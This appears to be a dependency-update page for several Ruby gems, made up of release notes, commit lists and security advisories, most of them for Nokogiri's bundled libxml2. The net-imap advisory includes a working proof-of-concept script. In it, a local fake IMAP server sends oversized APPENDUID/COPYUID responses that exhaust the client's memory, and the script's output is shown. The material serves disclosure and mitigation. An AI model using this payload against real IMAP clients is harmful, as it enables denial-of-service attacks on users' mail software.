This replaces UIDPlusData with AppendUIDData and CopyUIDData. These classes store their UIDs as Net::IMAP::SequenceSet objects (not expanded into arrays of integers). Code that does not handle APPENDUID or COPYUID responses will not notice any difference. Code that does handle these responses may need to be updated. See the documentation for UIDPlusData, AppendUIDData and CopyUIDData.

For v0.3.8, this option is not available.
For v0.4.19, the default value is true.
For v0.5.6, the default value is :up_to_max_size.
For v0.6.0, the only allowed value will be false (UIDPlusData will be removed from v0.6).

Mitigation, backward compatible API

Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.

For backward compatibility, uid-set can still be expanded into an array, but a maximum limit will be applied.

Assign config.parser_max_deprecated_uidplus_data_size to set the maximum UIDPlusData UID set size.
When config.parser_use_deprecated_uidplus_data == true, larger sets will raise Net::IMAP::ResponseParseError.
When config.parser_use_deprecated_uidplus_data == :up_to_max_size, larger sets will use AppendUIDData or CopyUIDData.

For v0.3,8, this limit is hard-coded to 10,000, and larger sets will always raise Net::IMAP::ResponseParseError.
For v0.4.19, the limit defaults to 1000.
For v0.5.6, the limit defaults to 100.
For v0.6.0, the limit will be ignored (UIDPlusData will be removed from v0.6).

Please Note: unhandled responses

If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, net-imap has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. This is not significantly different from connecting to a trusted server with a long-lived connection. To limit the maximum number of retained responses, a simple handler might look something like the following:

limit = 1000
imap.add_response_handler do |resp|
  next unless resp.respond_to?(:name) && resp.respond_to?(:data)
  name = resp.name
  code = resp.data.code&.name if resp.data.respond_to?(:code)
  if Net::IMAP::VERSION > "0.4.0"
    imap.responses(name) { _1.slice!(0...-limit) }
    imap.responses(code) { _1.slice!(0...-limit) }
  else
    imap.responses(name).slice!(0...-limit)
    imap.responses(code).slice!(0...-limit)
  end
end

Proof of concept

Save the following to a ruby file (e.g: poc.rb) and make it executable:

#!/usr/bin/env ruby
require 'socket'
require 'net/imap'

if !defined?(Net::IMAP.config)
  puts "Net::IMAP.config is not available"
elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)
  puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available"
else
  Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size
  puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size"
end

size = Integer(ENV["UID_SET_SIZE"] || 2**32-1)

def server_addr
  Addrinfo.tcp("localhost", 0).ip_address
end

def create_tcp_server
  TCPServer.new(server_addr, 0)
end

def start_server
  th = Thread.new do
    yield
  end
  sleep 0.1 until th.stop?
end

def copyuid_response(tag: "*", size: 2**32-1, text: "too large?")
  "#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n"
end

def appenduid_response(tag: "*", size: 2**32-1, text: "too large?")
  "#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n"
end

server = create_tcp_server
port = server.addr[1]
puts "Server started on port #{port}"

# server
start_server do
  sock = server.accept
  begin
    sock.print "* OK test server\r\n"
    cmd = sock.gets("\r\n", chomp: true)
    tag = cmd.match(/\A(\w+) /)[1]
    puts "Received: #{cmd}"

    malicious_response = appenduid_response(size:)
    puts "Sending: #{malicious_response.chomp}"
    sock.print malicious_response

    malicious_response = copyuid_response(size:)
    puts "Sending: #{malicious_response.chomp}"
    sock.print malicious_response
    sock.print "* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\r\n"
    sock.print "#{tag} OK CAPABILITY completed\r\n"

    cmd = sock.gets("\r\n", chomp: true)
    tag = cmd.match(/\A(\w+) /)[1]
    puts "Received: #{cmd}"
    sock.print "* BYE If you made it this far, you passed the test!\r\n"
    sock.print "#{tag} OK LOGOUT completed\r\n"
  rescue Exception => ex
    puts "Error in server: #{ex.message} (#{ex.class})"
  ensure
    sock.close
    server.close
  end
end

# client
begin
  puts "Client connecting,.."
  imap = Net::IMAP.new(server_addr, port: port)
  puts "Received capabilities: #{imap.capability}"
  pp responses: imap.responses
  imap.logout
rescue Exception => ex
  puts "Error in client: #{ex.message} (#{ex.class})"
  puts ex.full_message
ensure
  imap.disconnect if imap
end

Use ulimit to limit the process's virtual memory. The following example limits virtual memory to 1GB:

$ ( ulimit -v 1000000 && exec ./poc.rb )
Server started on port 34291
Client connecting,..
Received: RUBY0001 CAPABILITY
Sending: * OK [APPENDUID 1 1:4294967295] too large?
Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?
Error in server: Connection reset by peer @ io_fillbuf - fd:9  (Errno::ECONNRESET)
Error in client: failed to allocate memory (NoMemoryError)
/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)
        from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command'
        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability'
        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability'
        from /workspace/poc.rb:70:in '<main>'

Too many releases to show here. View the full release notes.

See the full diff on Github. The new version differs by more commits than we can show here.

See the full diff on Github. The new version differs by 28 commits:

• Bump up 0.1.2
• Merge pull request #10 from eregon/remove-needless-dependencies
• simplify
• Reduce CI time
• Added 2.4 to 2.6
• Merge pull request #13 from ruby/dynamic-versions
• Try with all rubies
• Rename job name
• style
• Use https://cache.ruby-lang.org/pub/misc/ci_versions.json
• Merge pull request #12 from ruby/dependabot/github_actions/actions/checkout-3
• Bump actions/checkout from 2 to 3
• Merge pull request #11 from ruby/add-dependabot
• Added dependabot
• Remove needless dependencies
• Merge pull request #7 from voxik/patch-1
• Don't install bin directory
• Merge pull request #6 from k0kubun/rubyvm-mjit
• s/RubyVM::JIT/RubyVM::MJIT/g
• Bump up the latest version of CoreAssertions
• Merge pull request #3 from mohamedhafez/patch-1
• Merge pull request #5 from olleolleolle/patch-2
• Merge pull request #4 from olleolleolle/patch-1
• CI: Add Ruby 3.0 to matrix
• README: Format Markdown link
• Don't need to install bundler manually
• Use stable version of actions/checkout
• Replace Timeout.timeout with socket timeout

0.2.2

What's Changed

• Failing test case for #19 by @casperisfine in #20
• Adds Ruby 3.2 to the CI matrix. by @petergoldstein in #21
• Improve actions by @hsbt in #22
• Update test libraries from ruby/ruby 2023-03-24 by @hsbt in #23
• Use test-unit-ruby-core gem by @hsbt in #26

New Contributors

• @petergoldstein made their first contribution in #21

Full Changelog: v0.2.1...v0.2.2

0.2.1

What's Changed

• Initialize @rbuf_empty in BufferedIO by @etiennebarrie in #18
• Undo BufferedIO#rbuf_consume_all_shareable! optimization by @casperisfine in #19

New Contributors

• @etiennebarrie made their first contribution in #18

Full Changelog: v0.2.0...v0.2.1

0.2.0

What's Changed

• Improve BufferedIO performance by @casperisfine in #14
• Typo fix by @bkmgit in #17

New Contributors

• @casperisfine made their first contribution in #14
• @bkmgit made their first contribution in #17

Full Changelog: v0.1.3...v0.2.0

Does any of this look wrong? Please let us know.

See the full diff on Github. The new version differs by 27 commits:

• Bump up 0.2.2
• Merge pull request #27 from ruby/dependabot/github_actions/actions/checkout-4
• Bump actions/checkout from 3 to 4
• Merge pull request #26 from ruby/use-test-unit-ruby-core
• Use test-unit-ruby-core gem
• Redirect to `IO::NULL` for the portability
• Merge pull request #23 from ruby/update-test-lib-20230324
• Update test libraries from https://github.com/ruby/ruby/commit/b4e438d8aabaf4bba2b27f374c787543fae07c58
• Merge pull request #22 from ruby/improve-actions
• Try with TruffleRuby and JRuby
• Try with Windows
• Use ruby/actions/.github/workflows/ruby_versions.yml@master
• Use appropriate name for build job
• Merge pull request #21 from petergoldstein/feature/add_ruby_3_2_to_ci
• Adds Ruby 3.2 to the CI matrix.
• Merge pull request #20 from casperisfine/regression-test-shareable-buffer
• Failing test case for #19
• Bump version to 0.2.1
• Merge pull request #19 from casperisfine/fix-read-adapter-leak
• Undo BufferedIO#rbuf_consume_all_shareable! optimization
• Merge pull request #18 from etiennebarrie/fix-not-initialized-instance-variable
• Initialize @rbuf_empty in BufferedIO
• Bump version to 0.2.0
• Merge pull request #17 from bkmgit/patch-1
• Typo fix
• Merge pull request #14 from casperisfine/improve-buffered-io
• Improve BufferedIO performance

0.5.1

What's Changed

• Clarify the license of net-smtp by @tmtm in #85
• Enabled windows-latest on GHA by @hsbt in #87
• Fix typo in test methods by @tas50 in #89
• Restore gemspec file to gem package by @hsbt in #90

New Contributors

• @tas50 made their first contribution in #89

Full Changelog: v0.5.0...v0.5.1

0.5.0

What's Changed

• Allow case-insensitive strings for SASL mechanism by @nevans in #64
• Remove unused private auth_method by @nevans in #67
• Delegate checking auth args to the authenticator by @nevans in #73
• Make #auth_capable? public by @nevans in #63
• Updated docs, especially TLS and SASL-related by @nevans in #66
• Renew test certificates by @sorah in #75
• Fix version extraction to work with non ASCII characters with any LANG by @kateinoigakukun in #76
• Replace non-ASCII EM DASH (U+2014) with ASCII hyphen (U+002D) by @kateinoigakukun in #78
• Use reusing workflow for Ruby versions by @m-nakamura145 in #79
• Add XOAUTH2 authenticator by @mantas in #80
• Make the test suite compatible with --enable-frozen-string-literal by @casperisfine in #81
• version 0.5.0 by @tmtm in #82

New Contributors

• @sorah made their first contribution in #75
• @kateinoigakukun made their first contribution in #76
• @m-nakamura145 made their first contribution in #79
• @mantas made their first contribution in #80
• @casperisfine made their first contribution in #81

Full Changelog: v0.4.0.1...v0.5.0

0.4.0.1

Full Changelog: v0.4.0...v0.4.0.1

0.4.0

What's Changed

• Adds Ruby 3.1 and 3.2 to the CI matrix. by @petergoldstein in #50
• Revert "Replace Timeout.timeout with socket timeout" by @hsbt in #51
• add Net::SMTP::Authenticator class and auth_* methods are separated from the Net::SMTP class. by @tmtm in #53
• fix typo by @tmtm in #54
• Add SMTPUTF8 support by @arnt in #49
• Fix: send_message() with recipients as array by @tmtm in #55
• Fixed issue sending emails to unaffected recipients on 53x error by @tmtm in #56
• Removed unnecessary Subversion keywords by @tmtm in #57
• refactor test code by @tmtm in #58
• The mailfrom method's arguments restored. by @tmtm in #59
• Bump actions/checkout from 3 to 4 by @dependabot in #60
• remove SMTPUTF8RequiredError by @tmtm in #61
• v0.4.0 by @tmtm in #62

New Contributors

• @petergoldstein made their first contribution in #50
• @arnt made their first contribution in #49

Full Changelog: v0.3.3...v0.4.0

0.3.4

Full Changelog: v0.3.3...v0.3.4

0.3.3 (from changelog)

• No timeout library required #44
• Make the digest library optional #45

0.3.1.1

Full Changelog: v0.3.1...v0.3.1.1

Does any of this look wrong? Please let us know.

See the full diff on Github. The new version differs by more commits than we can show here.

2.7.2 (from changelog)

• Modernize gem (list all authors, etc).
• Drop official support for Ruby 2.4.
• Fix JRuby release version.

2.7.1

What's Changed

• Update changes.md by @ioquatix in #311
• fix jruby warnings by @ahorek in #313
• Convert license to array of identifiers by @voxik in #312

Full Changelog: v2.7.0...v2.7.1

2.7.0

What's Changed

• Fix changelog_uri in gemspec metadata by @MaximeD in #303
• Fix license by @voxik in #309
• Convert NIO objects to TypedData API by @casperisfine in #310

New Contributors

• @MaximeD made their first contribution in #303
• @voxik made their first contribution in #309
• @casperisfine made their first contribution in #310

Full Changelog: v2.6.1...v2.7.0

Does any of this look wrong? Please let us know.

See the full diff on Github. The new version differs by 49 commits:

• Bump patch version.
• Mark as ractor-safe (#320)
• Update CI matrix. (#321)
• JRuby supports Java 8 and higher. Need to emit Java 8 classfile format (#317)
• Bump patch version.
• Don't build extensions twice :(
• Add tea.xyz constitution file.
• Fix JRuby release process.
• Bump patch version.
• Update changes.
• Remove 2.4 support from readme.
• Drop testing Ruby 2.4.
• Modernize gem.
• Relax dependency on `rake-compiler`.
• Update to `--release=9` for compiling java code.
• Bump patch version.
• Update release instructions.
• Convert license to array of identifiers (#312)
• fix jruby warnings (#313)
• Update changes.md
• Bump minor version.
• For some reason, I had to add `bake` as a direct dependency.
• Update changes.
• Convert NIO objects to TypedData API (#310)
• Fix license (#309)
• Fix changelog_uri in gemspec metadata (#303)
• Disable `bake-modernize` as it's not supported on Ruby v2.4.
• Bump patch version.
• Update copyrights/license & funding URI.
• Add bake-gem and bake-modernize for maintenance tasks.
• Don't update `io` which is subsequently stored. Retain the original. (#306)
• Resolve issue loading both nio and nio4r gems (#302)
• Avoid direct access to IO internals. (#301)
• Update changes.
• Remove codeql as it seems tricky to use without extra research.
• Prefer lower case.
• Create codeql.yml
• Fix conversion loses int precision using SIZET2NUM. (#297)
• Add more notes for building jruby package.
• Bump patch version.
• Fix order of OpenSSL require.
• Remove coveralls.
• Rework (VALUE* args) -> (VALUE arg) invalid function type. Fixes #287.
• Fix java 8 compatibility. (#292)
• Fix test workflow.
• Actions - remove Ubuntu-16.04, macOS to 11, add Ubuntu-22.04, Win 2022
• Add license file. Fixes #228, #282.
• allow missing `devkit`
• Add missing changelogs for v2.5.6 v2.5.7 v2.5.8

🚨 Nokogiri patches vendored libxml2 to resolve multiple CVEs

Summary

Nokogiri v1.18.9 patches the vendored libxml2 to address CVE-2025-6021, CVE-2025-6170, CVE-2025-49794, CVE-2025-49795, and CVE-2025-49796.

Impact and severity

CVE-2025-6021

A flaw was found in libxml2's xmlBuildQName function, where integer overflows in buffer size calculations can lead to a stack-based buffer overflow. This issue can result in memory corruption or a denial of service when processing crafted input.

NVD claims a severity of 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Fixed by applying https://gitlab.gnome.org/GNOME/libxml2/-/commit/17d950ae

CVE-2025-6170

A flaw was found in the interactive shell of the xmllint command-line tool, used for parsing XML files. When a user inputs an overly long command, the program does not check the input size properly, which can cause it to crash. This issue might allow attackers to run harmful code in rare configurations without modern protections.

NVD claims a severity of 2.5 Low (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L)

Fixed by applying https://gitlab.gnome.org/GNOME/libxml2/-/commit/5e9ec5c1

CVE-2025-49794

A use-after-free vulnerability was found in libxml2. This issue occurs when parsing XPath elements under certain circumstances when the XML schematron has the <sch:name path="..."/> schema elements. This flaw allows a malicious actor to craft a malicious XML document used as input for libxml, resulting in the program's crash using libxml or other possible undefined behaviors.

NVD claims a severity of 9.1 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H)

Fixed by applying https://gitlab.gnome.org/GNOME/libxml2/-/commit/81cef8c5

CVE-2025-49795

A NULL pointer dereference vulnerability was found in libxml2 when processing XPath XML expressions. This flaw allows an attacker to craft a malicious XML input to libxml2, leading to a denial of service.

NVD claims a severity of 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Fixed by applying https://gitlab.gnome.org/GNOME/libxml2/-/commit/62048278

CVE-2025-49796

A vulnerability was found in libxml2. Processing certain sch:name elements from the input XML file can trigger a memory corruption issue. This flaw allows an attacker to craft a malicious XML input file that can lead libxml to crash, resulting in a denial of service or other possible undefined behavior due to sensitive data being corrupted in memory.

NVD claims a severity of 9.1 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H)

Fixed by applying https://gitlab.gnome.org/GNOME/libxml2/-/commit/81cef8c5

Affected Versions

• Nokogiri < 1.18.9 when using CRuby (MRI) with vendored libxml2

Patched Versions

• Nokogiri >= 1.18.9

Mitigation

Upgrade to Nokogiri v1.18.9 or later.

Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile and link Nokogiri against patched external libxml2 libraries which will also address these same issues.

References

• #3526
• https://nvd.nist.gov/vuln/detail/CVE-2025-6021
• https://nvd.nist.gov/vuln/detail/CVE-2025-6170
• https://nvd.nist.gov/vuln/detail/CVE-2025-49794
• https://nvd.nist.gov/vuln/detail/CVE-2025-49795
• https://nvd.nist.gov/vuln/detail/CVE-2025-49796

🚨 Nokogiri updates packaged libxml2 to v2.13.8 to resolve CVE-2025-32414 and CVE-2025-32415

Summary

Nokogiri v1.18.8 upgrades its dependency libxml2 to v2.13.8.

libxml2 v2.13.8 addresses:

• CVE-2025-32414
  • described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/889
• CVE-2025-32415
  • described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/890

Impact

CVE-2025-32414: No impact

In libxml2 before 2.13.8 and 2.14.x before 2.14.2, out-of-bounds memory access can occur in the Python API (Python bindings) because of an incorrect return value. This occurs in xmlPythonFileRead and xmlPythonFileReadRaw because of a difference between bytes and characters.

There is no impact from this CVE for Nokogiri users.

CVE-2025-32415: Low impact

In libxml2 before 2.13.8 and 2.14.x before 2.14.2, xmlSchemaIDCFillNodeTables in xmlschemas.c has a heap-based buffer under-read. To exploit this, a crafted XML document must be validated against an XML schema with certain identity constraints, or a crafted XML schema must be used.

In the upstream issue, further context is provided by the maintainer:

The bug affects validation against untrusted XML Schemas (.xsd) and validation of untrusted
documents against trusted Schemas if they make use of xsd:keyref in combination with recursively
defined types that have additional identity constraints.

MITRE has published a severity score of 2.9 LOW (CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L) for this CVE.

🚨 Nokogiri updates packaged libxslt to v1.1.43 to resolve multiple CVEs

Summary

Nokogiri v1.18.4 upgrades its dependency libxslt to v1.1.43.

libxslt v1.1.43 resolves:

• CVE-2025-24855: Fix use-after-free of XPath context node
• CVE-2024-55549: Fix UAF related to excluded namespaces

Impact

CVE-2025-24855

• "Use-after-free due to xsltEvalXPathStringNs leaking xpathCtxt->node"
• MITRE has rated this 7.8 High CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H
• Upstream report: https://gitlab.gnome.org/GNOME/libxslt/-/issues/128
• NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2025-24855

CVE-2024-55549

• "Use-after-free related to excluded result prefixes"
• MITRE has rated this 7.8 High CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H
• Upstream report: https://gitlab.gnome.org/GNOME/libxslt/-/issues/127
• NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2024-55549

🚨 Nokogiri updates packaged libxml2 to 2.13.6 to resolve CVE-2025-24928 and CVE-2024-56171

Summary

Nokogiri v1.18.3 upgrades its dependency libxml2 to v2.13.6.

libxml2 v2.13.6 addresses:

• CVE-2025-24928
  • described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/847
• CVE-2024-56171
  • described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/828

Impact

CVE-2025-24928

Stack-buffer overflow is possible when reporting DTD validation errors if the input contains a long (~3kb) QName prefix.

CVE-2024-56171

Use-after-free is possible during validation against untrusted XML Schemas (.xsd) and, potentially, validation of untrusted documents against trusted Schemas if they make use of xsd:keyref in combination with recursively defined types that have additional identity constraints.

🚨 Nokogiri updates packaged libxml2 to v2.12.7 to resolve CVE-2024-34459

Summary

Nokogiri v1.16.5 upgrades its dependency libxml2 to 2.12.7 from 2.12.6.

libxml2 v2.12.7 addresses CVE-2024-34459:

• described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/720
• patched by https://gitlab.gnome.org/GNOME/libxml2/-/commit/2876ac53

Impact

There is no impact to Nokogiri users because the issue is present only in libxml2's xmllint tool which Nokogiri does not provide or expose.

Timeline

• 2024-05-13 05:57 EDT, libxml2 2.12.7 release is announced
• 2024-05-13 08:30 EDT, nokogiri maintainers begin triage
• 2024-05-13 10:05 EDT, nokogiri v1.16.5 is released and this GHSA made public

🚨 Nokogiri update packaged libxml2 to v2.12.5 to resolve CVE-2024-25062

Summary

Nokogiri upgrades its dependency libxml2 as follows:

• Nokogiri v1.15.6 upgrades libxml2 to 2.11.7 from 2.11.6
• Nokogiri v1.16.2 upgrades libxml2 to 2.12.5 from 2.12.4

libxml2 v2.11.7 and v2.12.5 address the following vulnerability:

• CVE-2024-25062 / https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25062
  • described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/604
  • patched by https://gitlab.gnome.org/GNOME/libxml2/-/commit/92721970

Please note that this advisory only applies to the CRuby implementation of Nokogiri, and only if the packaged libraries are being used. If you've overridden defaults at installation time to use system libraries instead of packaged libraries, you should instead pay attention to your distro's libxml2 release announcements.

JRuby users are not affected.

Mitigation

Upgrade to Nokogiri ~> 1.15.6 or >= 1.16.2.

Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile
and link Nokogiri against patched external libxml2 libraries which will also address these same
issues.

Impact

From the CVE description, this issue applies to the xmlTextReader module (which underlies Nokogiri::XML::Reader):

When using the XML Reader interface with DTD validation and XInclude expansion enabled, processing crafted XML documents can lead to an xmlValidatePopElement use-after-free.

Timeline

• 2024-02-04 10:35 EST - this GHSA is drafted without complete details about when the upstream issue was introduced; a request is made of libxml2 maintainers for more detailed information
• 2024-02-04 10:48 EST - updated GHSA to reflect libxml2 maintainers' confirmation of affected versions
• 2024-02-04 11:54 EST - v1.16.2 published, this GHSA made public
• 2024-02-05 10:18 EST - updated with MITRE link to the CVE information, and updated "Impact" section
• 2024-03-16 09:03 EDT - v1.15.6 published (see discussion at #3146), updated mitigation information
• 2024-03-18 22:12 EDT - update "affected products" range with v1.15.6 information

🚨 Nokogiri update packaged libxml2 to v2.12.5 to resolve CVE-2024-25062

Summary

Nokogiri upgrades its dependency libxml2 as follows:

• Nokogiri v1.15.6 upgrades libxml2 to 2.11.7 from 2.11.6
• Nokogiri v1.16.2 upgrades libxml2 to 2.12.5 from 2.12.4

libxml2 v2.11.7 and v2.12.5 address the following vulnerability:

• CVE-2024-25062 / https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25062
  • described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/604
  • patched by https://gitlab.gnome.org/GNOME/libxml2/-/commit/92721970

Please note that this advisory only applies to the CRuby implementation of Nokogiri, and only if the packaged libraries are being used. If you've overridden defaults at installation time to use system libraries instead of packaged libraries, you should instead pay attention to your distro's libxml2 release announcements.

JRuby users are not affected.

Mitigation

Upgrade to Nokogiri ~> 1.15.6 or >= 1.16.2.

Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile
and link Nokogiri against patched external libxml2 libraries which will also address these same
issues.

Impact

From the CVE description, this issue applies to the xmlTextReader module (which underlies Nokogiri::XML::Reader):

When using the XML Reader interface with DTD validation and XInclude expansion enabled, processing crafted XML documents can lead to an xmlValidatePopElement use-after-free.

Timeline

• 2024-02-04 10:35 EST - this GHSA is drafted without complete details about when the upstream issue was introduced; a request is made of libxml2 maintainers for more detailed information
• 2024-02-04 10:48 EST - updated GHSA to reflect libxml2 maintainers' confirmation of affected versions
• 2024-02-04 11:54 EST - v1.16.2 published, this GHSA made public
• 2024-02-05 10:18 EST - updated with MITRE link to the CVE information, and updated "Impact" section
• 2024-03-16 09:03 EDT - v1.15.6 published (see discussion at #3146), updated mitigation information
• 2024-03-18 22:12 EDT - update "affected products" range with v1.15.6 information

🚨 Nokogiri updates packaged libxml2 to v2.10.4 to resolve multiple CVEs

Summary

Nokogiri v1.14.3 upgrades the packaged version of its dependency libxml2 to v2.10.4 from v2.10.3.

libxml2 v2.10.4 addresses the following known vulnerabilities:

• CVE-2023-29469: Hashing of empty dict strings isn't deterministic
• CVE-2023-28484: Fix null deref in xmlSchemaFixupComplexType
• Schemas: Fix null-pointer-deref in xmlSchemaCheckCOSSTDerivedOK

Please note that this advisory only applies to the CRuby implementation of Nokogiri < 1.14.3, and only if the packaged libraries are being used. If you've overridden defaults at installation time to use system libraries instead of packaged libraries, you should instead pay attention to your distro's libxml2 release announcements.

Mitigation

Upgrade to Nokogiri >= 1.14.3.

Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile and link Nokogiri against external libraries libxml2 >= 2.10.4 which will also address these same issues.

Impact

No public information has yet been published about the security-related issues other than the upstream commits. Examination of those changesets indicate that the more serious issues relate to libxml2 dereferencing NULL pointers and potentially segfaulting while parsing untrusted inputs.

The commits can be examined at:

• [CVE-2023-29469] Hashing of empty dict strings isn't deterministic (09a2dd45) · Commits · GNOME / libxml2 · GitLab
• [CVE-2023-28484] Fix null deref in xmlSchemaFixupComplexType (647e072e) · Commits · GNOME / libxml2 · GitLab
• schemas: Fix null-pointer-deref in xmlSchemaCheckCOSSTDerivedOK (4c6922f7) · Commits · GNOME / libxml2 · GitLab

🚨 Unchecked return value from xmlTextReaderExpand

Summary

Nokogiri 1.13.8, 1.13.9 fails to check the return value from xmlTextReaderExpand in the method Nokogiri::XML::Reader#attribute_hash. This can lead to a null pointer exception when invalid markup is being parsed.

For applications using XML::Reader to parse untrusted inputs, this may potentially be a vector for a denial of service attack.

Mitigation

Upgrade to Nokogiri >= 1.13.10.

Users may be able to search their code for calls to either XML::Reader#attributes or XML::Reader#attribute_hash to determine if they are affected.

Severity

The Nokogiri maintainers have evaluated this as High Severity 7.5 (CVSS3.1).

References

• CWE - CWE-252: Unchecked Return Value (4.9)
• CWE - CWE-476: NULL Pointer Dereference (4.9)

Credit

This vulnerability was responsibly reported by @davidwilemski.

🚨 Update bundled libxml2 to v2.10.3 to resolve multiple CVEs

Summary

Nokogiri v1.13.9 upgrades the packaged version of its dependency libxml2 to v2.10.3 from v2.9.14.

libxml2 v2.10.3 addresses the following known vulnerabilities:

• CVE-2022-2309
• CVE-2022-40304
• CVE-2022-40303

Please note that this advisory only applies to the CRuby implementation of Nokogiri < 1.13.9, and only if the packaged libraries are being used. If you've overridden defaults at installation time to use system libraries instead of packaged libraries, you should instead pay attention to your distro's libxml2 release announcements.

Mitigation

Upgrade to Nokogiri >= 1.13.9.

Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile and link Nokogiri against external libraries libxml2 >= 2.10.3 which will also address these same issues.

Impact

libxml2 CVE-2022-2309

• CVSS3 score: Under evaluation
• Type: Denial of service
• Description: NULL Pointer Dereference allows attackers to cause a denial of service (or application crash). This only applies when lxml is used together with libxml2 2.9.10 through 2.9.14. libxml2 2.9.9 and earlier are not affected. It allows triggering crashes through forged input data, given a vulnerable code sequence in the application. The vulnerability is caused by the iterwalk function (also used by the canonicalize function). Such code shouldn't be in wide-spread use, given that parsing + iterwalk would usually be replaced with the more efficient iterparse function. However, an XML converter that serialises to C14N would also be vulnerable, for example, and there are legitimate use cases for this code sequence. If untrusted input is received (also remotely) and processed via iterwalk function, a crash can be triggered.

Nokogiri maintainers investigated at #2620 and determined this CVE does not affect Nokogiri users.

libxml2 CVE-2022-40304

• CVSS3 score: Unspecified upstream
• Type: Data corruption, denial of service
• Description: When an entity reference cycle is detected, the entity content is cleared by setting its first byte to zero. But the entity content might be allocated from a dict. In this case, the dict entry becomes corrupted leading to all kinds of logic errors, including memory errors like double-frees.

See https://gitlab.gnome.org/GNOME/libxml2/-/commit/644a89e080bced793295f61f18aac8cfad6bece2

libxml2 CVE-2022-40303

• CVSS3 score: Unspecified upstream
• Type: Integer overflow
• Description: Integer overflows with XML_PARSE_HUGE

See https://gitlab.gnome.org/GNOME/libxml2/-/commit/c846986356fc149915a74972bf198abc266bc2c0

References

• libxml2 release notes
• CVE-2022-2309
• CVE-2022-40304
• CVE-2022-40303

Too many releases to show here. View the full release notes.

See the full diff on Github. The new version differs by more commits than we can show here.

1.8.1

What's Changed

• Use require_relative in the Racc codebase by @koic in #269
• Fix a typo by @koic in #270
• Provide a 'Changelog' link on rubygems.org/gems/racc by @mark-young-atg in #271
• Fix RDoc main file to "README.rdoc" by @ydah in #274
• Fix file path and line number errors when using +, * and () by @ydah in #273
• Bump up v1.8.1 by @yui-knk in #275

New Contributors

• @koic made their first contribution in #269
• @mark-young-atg made their first contribution in #271

Full Changelog: v1.8.0...v1.8.1

1.8.0

What's Changed

• Generate jar to build gem by @nobu in #255
• Fix trivial typos by @ydah in #257
• Try to fix test failure with Ruby 3.3 by @hsbt in #260
• Reformat the rdoc so it renders correctly both locally and on github. by @zenspider in #258
• Allow racc cmdline to read from stdin if no path specified. by @zenspider in #259
• Add more grammars by @nurse in #222
• Exclude 2.5 on macos-latest by @nobu in #263
• Drop code for Ruby 1.6 by @nobu in #264
• Refactor command line options by @nobu in #265
• Change encode EUC-JP to UTF-8 by @ydah in #267
• Organize README.ja.rdoc by @ydah in #266
• Support error_on_expect_mismatch declaration in Racc grammar file by @yui-knk in #262
• Bump up v1.8.0 by @yui-knk in #268

New Contributors

• @ydah made their first contribution in #257
• @nurse made their first contribution in #222

Full Changelog: v1.7.3...v1.8.0

1.7.3

What's Changed

• Exclude CRuby extension from JRuby gem by @nobu in #244
• Fix for dummy rake/extensiontask.rb at ruby test-bundled-gems by @nobu in #245
• Fix jar file path by @nobu in #246
• Bump by @nobu in #247
• Add srcs target to prepare to build by @nobu in #248
• Make CI runnable for any push by @yui-knk in #249
• Check rake build on CI by @yui-knk in #250
• Bump up v1.7.3.pre.1 by @yui-knk in #251
• Fix locations of expect param in docs by @yui-knk in #252
• 'lib/racc/parser-text.rb' depends on 'lib/racc/info.rb' by @yui-knk in #253
• Bump up v1.7.3 by @yui-knk in #254

Full Changelog: v1.7.2...v1.7.3

1.7.2

What's Changed

• Update parser.rb, fixed typo by @jwillemsen in #224
• Remove leading newline from on_error exception messages. by @zenspider in #226
• Add --frozen to add frozen_string_literals to top of generated files. by @zenspider in #225
• Update development dependency to avoid ruby 2.5 failures by @flavorjones in #228
